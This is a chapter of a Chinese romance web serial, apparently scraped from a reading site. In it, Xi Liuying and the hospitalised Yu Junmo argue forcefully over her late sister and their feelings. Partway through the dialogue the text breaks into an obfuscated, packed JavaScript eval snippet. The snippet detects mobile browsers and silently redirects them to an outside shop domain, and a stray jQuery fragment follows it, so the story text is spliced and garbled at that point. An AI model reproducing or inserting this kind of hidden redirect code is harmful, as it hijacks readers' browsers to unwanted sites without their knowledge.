26. 026
    几天后,郁钧漠转到市中心的医院。

    席留璎每天细致入微地照顾他,白天照常上课,晚上训练完再回医院和祝、向两人轮班,有时候郁耀清和蒋施绝也会来,沈一狄再没来过,席留璎估计她是忌惮她。

    学校里流言四起,不知道从哪儿开始传出,郁钧漠因为为席留璎挡刀已经瘫痪了的谣言,各种各样的议论,数不清的目光,每天都在包围、笼罩、禁锢着她。

    走到哪儿都被人看,走到旁边时所有人都不约而同安静,走过去了就听到人在背后议论她。

    只有康济还会和她说话。

    郁钧漠住院的事儿,郁耀清始终没有告诉郁家父母,说是怕二老为难席留璎。

    康济和她讲了当初茅以泷被退学的事情,席留璎全部记在心里,抽了个时间又去圣阳疗养院看望茅以泷,见他精神仍旧颓靡失常,没法正常与人交流,便放弃了。

    她出神地在给郁钧漠倒水,人站在桌子前,手上在倒水,脑子在想事情,水倒满了,倒出去了,一滴滴从桌子落到地毯都没发现,郁钧漠喊她,喊了好几遍,提高声音喊,她才回过神,猛地停住倒水的动作。

    “有没有烫到?”

    病房里只有他们两人,祝明礼去给他买夜宵了。席留璎恍惚地抽纸巾擦手,说没事,水是温的,重新给他倒了杯,坐到病床旁,纸杯递给他。

    “想什么呢?”他问。

    席留璎叹了一声,手放在腿上:“没事。”

    她把康济的事情全都告诉了郁钧漠,问姐姐有没有和他提过她,郁钧漠说,有,项链就是席离芝交给他的,说妹妹可能会来夏城,她来时,他要替她把项链交给她。

    “我没意识到她当时是要......是想不开,没拦住。”声音轻了些。

    席留璎低下头,手指插进发间,抱着头,心里是一阵又一阵抽搐的疼痛,特别想哭,又还是哭不出来。她听见郁钧漠放下纸杯的声音,随后后脖颈一处温热袭来,他在安抚她。

    “你对你姐有愧疚。”郁钧漠轻轻说,“所以她九月出事,十月你就来了,根本没有做好准备,才会被康济利用,不要自我怀疑,也别自责,樱桃。”

    席留璎听着,不说话,紧紧咬着唇。

    “樱桃。”

    “……”

    “樱桃?”

    她抬头,郁钧漠的手滑落到她手上,宽大的手掌覆住她手背,整个握住:“我替你做。”

    席留璎摇头:“蒋施绝会恨死你的。”

    “可我不想你这么难受。”

    这句话,提着打包好的夜宵,站在病房外的祝明礼听见了。他的手搭在门把手上,没有往里推。

    “你不能没有蒋施绝。”席留璎低声说,“你——”

    “我不能没有你。”他打断她。

    “……”

    “我不能没有你。”郁钧漠重复,握她的力度加重了些。

    席留璎不敢看他,还是垂着眼,看洁白病床被上两人握在一起的手,沉默。

    “樱桃,我——”

    “你对不起我姐姐。”她说得突然。

    “什么?”

    “你觉得这样对得起我姐姐吗?我已经够亏欠她了,从在我妈肚子就和她抢,抢养分,出生的时候她特别特别瘦,而我是正常体重。长大后和她抢爸爸妈妈,害她只能被送到这里来给爷爷奶奶带,最重要的青春期没有父母。现在她死了,我还要占走她喜欢的人。我做不到。”她一口气说完,看他。

    “当初是谁说的——”

    “骗你的。”打断他。

    “席留璎。”他抬高声音。

    “怎样?”席留璎松开他的手,站起来,“我要利用你,因为沈一狄喜欢你,她特别特别爱你,她比我了解你一百倍!我来这里的目的就是报复她!只有你才能让她动摇!”

    郁钧漠冷厉地看着她。

    她毫不示弱地迎着他的目光,胸口起伏。

    不管他是怎么想的,事实就是她还真TMD喜欢上他了。她本来意识不到,以为自己只是和他逢场作戏,可是昨天他瘫坐在墙边血流如注时,躺在病床上奄奄一息时,蒋施绝来时,她的心痛,她的心慌,她的自责,让她惊觉——

    这是喜欢。

    郁钧漠看着她,从病床上坐直身子,拉到了伤口,咧着牙“嘶”一声,席留璎因此找回了一些理智。

    有些不知所措,下意识想帮他,他捂着伤口,望向她的眼睛很伤,很悲,她的手于是伸出去又触电般缩。

    “席留璎,喜欢就是喜欢,不喜欢就是不喜欢,你没必要考虑别人的想法。”

    “我不喜欢你,你想多了。”她说。

    郁钧漠沉默一秒:“跨年夜——”

    她仍旧打断:“席离芝是我的姐姐。”

    “你听我说完!”

    “没什么好说的!”席留璎的手紧紧撑着墙壁,不让自己倒下去,“我不能和我姐姐的男朋友在一起!这不道德!”

    “她死了。”郁钧漠看她的眼神冷了一分。

    “郁钧漠!”她喊,“你他妈混蛋!”

    随后立即反应过来,失神地靠到墙壁,鼻尖酸,嗓子发涩,自言自语:“我也是混蛋……我才是最恶心的人……”

    她从口袋里摸手机,解锁,整个人都在颤,郁钧漠已经掀开被子准备下床,她戒备地瞪着他,双眼通红,在拨号码,郁钧漠下床了,她一边往门边走,一边要把号码拨出去,郁钧漠一把拔掉手上的针,用力拉她手臂!

    她挣扎,他使劲把她扯回来,抵在墙壁上!

    “郁钧漠!”

    他的右手紧紧箍住她脖颈,迫使她抬头看他。他的眼睛有些红,可更多是愤怒,左手一把夺走她手机,看了一眼备注:“谈蔺,谁?”

    席留璎不答,瞪他。

    “谁?”

    依旧不答。

    手机被他反手扔到床上!

    “谁!!!”

    他愤怒地喊,她也生气,抬手要打他,他速度更快,左手攥住她双手手腕举过她头顶!

    两个人呼吸交织在一起,栀子花香,檀木香,一触即发的战争,空气在燃烧。她手腕上他送的那串手链冰冰凉凉,凉她也凉他,小樱桃与小灵芝剧烈地碰撞。

    席留璎推他,推不动,想踢他,双腿被他的双腿抵住,根本动弹不了!

    “关你什么事!”她喊。

    “承认喜欢我很难吗?”

    “少自作多情!”

    “谈蔺是谁?!”

    “我没义务告诉你!”

    郁钧漠把额头抵在她额头上,呼吸,叹气,声音颤,全身都颤:“我求你,樱桃,算我求你行不行?”

    她斩钉截铁:“不行。”

    额头触感抽离,他挺直了身子,可双手的禁锢仍然没有松开,两人仍旧怒目相向,他胸膛起伏得厉害,看着她,眼神很复杂,也有泪,积在眼眶,后槽牙咬紧。

    她紧紧咬着唇,被他禁锢住的双手也握拳,握的很紧,指甲抠进皮肤,整个人紧绷,控制自己的情绪,屏气敛声,咬牙憋泪,可在与他的眼神博弈当中,她还是没能撑住。

    郁钧漠的眼神盯着那颗眼泪往下走,泪滑过她脸颊,到下巴,晶莹剔透地挂在那儿,还没滴到地板。

    他在呼吸,颤:“不喜欢,为什么哭?”

    “我哭我自己。”说话时,又滚下一滴泪,可还是逻辑清晰,语气冷淡,“我为之付出一切、放弃所有的人,是这个世界上最讨厌我的人,换作你,你会不会难过?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997887|146298||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “……”他喉结滚动,声音哑,“茅以泷是个精神病患者,他说的话不作数。”

    “不。”又是一滴泪,她倔强地看他,“我心里一直清楚,只是我不愿意面对,茅以泷只是把姐姐心里的真感情说出来了。我必须面对,必须。”

    病房陷入寂静。两人的目光交织,博弈,谁也不肯让步,手上的力在,腿上的力也在,两边的眼睛都红,都不甘心,各自都有心事,于是流露出的情感也都复杂难辨。

    不知道过去多久,席留璎感受到手上力度忽然松了。她的手被放下来,随后,他拥住了她。

    席留璎睁大了眼睛。

    错愕,诧异,心脏跳。

    他一只手臂就能环住她整个人,怀抱温暖,另一只手揽住她腰身,抱得越来越紧。

    她听见他的心跳在自己右胸口。

    檀木香。

    很浓。

    郁钧漠俯着身子,下巴埋在她颈窝,用自己的脸颊轻轻蹭她头发,沉沉的声音响在她耳边:“对不起。”

    席留璎还是愣,双手垂在裤边,被他抱得极紧,几乎整个人融入他的身体,鼻梁顶到他锁骨,硬,硌。

    “……”

    “我后悔了。”他喃喃道。

    “……”

    房间里安静下来了,只剩两人沉重的呼吸。席留璎能感觉到右胸口属于郁钧漠的心跳很快,连带着她的身体在振动,她的心跳,他的心跳,交错跳动。

    身体的反应骗不了人,她在诧异他的告白竟是真的时,双手不由自主抬起来,想回抱他,可抬到一半,她咬着唇,闭眼,接二连三珍珠般的泪水瞬然滚落,她的手再度垂到裤边,握紧了拳头,没有抱他。

    心里软下去一块,特别软,让她说话声音和身子都变软了:“郁钧漠,对不起。”

    对不起,我不能面对我自己的内心,不能越过道德的线,更不能再辜负席离芝一次。

    对不起,我始终怀疑你,到现在也不能向你敞开我的内心,想着利用你,报复你,还害你受伤。

    “不用道歉。你可以骗我,可以利用我,”他说,“我拜托你的事你不用管了,我自己处理。你只需要做你原先想做的。”

    “郁钧漠……”

    他没说话,最后在她颈窝埋了一下,松开她,席留璎脸上有泪痕,拿上目线看他,他来回看她的两只眼睛,活了十九年心脏头一次颤,颤得这么厉害,声音颤,呼吸乱,拿拇指指腹抹掉她眼泪。

    “樱桃,我其实——”

    “明礼哥,你站着干嘛?不进去吗?”

    病房门被人推开,两人对视一眼,席留璎立刻推开他,背过身的同时,郁耀清大步流星地提着大包小包走进来,祝明礼慢腾腾跟在后面。

    郁耀清看见他们时表情愣了下,看看席留璎,又看看郁钧漠:“哥,你怎么下床了?”

    随即发现他手上的针拆了,大喊一声:“你要死啊!你把那个拆了干嘛?”

    郁耀清丢掉东西,走过来,推着郁钧漠上床,按铃叫人来:“真服了,你要和席留璎打情骂俏干嘛把这个拆了,躺回去。”

    席留璎在墙边偷偷抹脸上的泪痕,附身抓手机,病房内全是男生,她呆着不舒服,也想去洗把脸冷静一下,说了声去趟洗手间,往外走,结果被站在那儿的祝明礼堵住。

    他高大,就比郁钧漠矮几厘米,一手插兜,一手提夜宵,她到跟前时用淡淡的眼神看她。

    席留璎有些愣,但祝明礼只停顿了几秒,越过她走过去。

    “……”

    祝明礼进去骂了郁钧漠一句,骂的什么她没听清,因为郁耀清还在絮絮叨叨。她开门出去,关门,靠到门上,心脏还砰砰跳,跳得很用力。

    她做了个深呼吸。